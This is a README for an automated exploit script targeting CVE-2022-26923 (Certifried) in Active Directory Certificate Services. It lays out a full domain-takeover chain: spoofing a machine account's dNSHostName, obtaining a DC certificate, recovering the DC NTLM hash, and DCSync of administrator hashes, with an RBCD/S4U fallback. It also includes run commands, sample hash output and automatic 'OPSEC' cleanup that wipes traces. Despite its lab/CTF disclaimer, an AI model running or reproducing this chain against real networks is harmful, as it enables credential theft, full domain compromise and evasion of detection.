CVE-2022-26923 – Certifried Exploit (AD CS Abuse)

Automated exploitation of CVE-2022-26923 (Certifried), enabling privilege escalation through abuse of Active Directory Certificate Services (AD CS), with an automatic fallback to Resource-Based Constrained Delegation (RBCD), ultimately dumping the NTLM hash of a domain administrator account.

⚠️ For educational purposes only / Lab / CTF

Do not use in unauthorized environments.

🎯 Description

This script automates the following attack chain:

Method 1 — Classic (CVE Direct Exploitation)

1. Create a controlled machine account (random name to avoid conflicts)
2. Spoof the dNSHostName attribute to match the Domain Controller
3. Request a Machine certificate via AD CS
4. Authenticate using the certificate → extract the DC's NTLM hash via PKINIT
5. Perform a DCSync attack with secretsdump.py using the DC hash

Method 2 — Fallback (RBCD) (automatic if Method 1 fails)

6. Convert PFX to PEM for use with bloodyAD
7. Configure Resource-Based Constrained Delegation (RBCD) on the DC
8. Add a SPN to the compromised machine account via impacket-addspn
9. Request a S4U2Self + S4U2Proxy ticket with getST.py
10. Dump the NTLM hash via secretsdump.py using the Kerberos ticket

🔗 Vulnerability

• CVE-2022-26923 – "Certifried" — CVSS 8.8 (High)
• Affects Active Directory environments running AD CS
• Allows a low-privileged user to impersonate a Domain Controller by manipulating the dNSHostName attribute, causing the CA to issue a certificate for the DC account

🛠 Tools Used

📦 Dependency Installation

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Usage

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Available Options

-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 Example (HTB Certifried)

./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

Tip: Before running, identify the exact CA name and template using:

root@kitploit:~

certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

Then update CA_NAME and TEMPLATE in the script defaults accordingly.

🔥 Expected Output

Depending on the environment, one of two paths will succeed:

Method 1 (Classic):

[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

Method 2 (RBCD Fallback):

[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

OPSEC cleanup runs automatically at the end (or on Ctrl+C):

[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 Internal Attack Flow

Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 Known Issues & Troubleshooting

⚠️ Disclaimer

This project is provided for:

• Educational and research purposes
• Personal lab environments
• CTF / HackTheBox / Capture-The-Flag challenges
• Authorized penetration testing engagements (with written approval)

The author assumes no liability for any unauthorized or illegal use of this tool.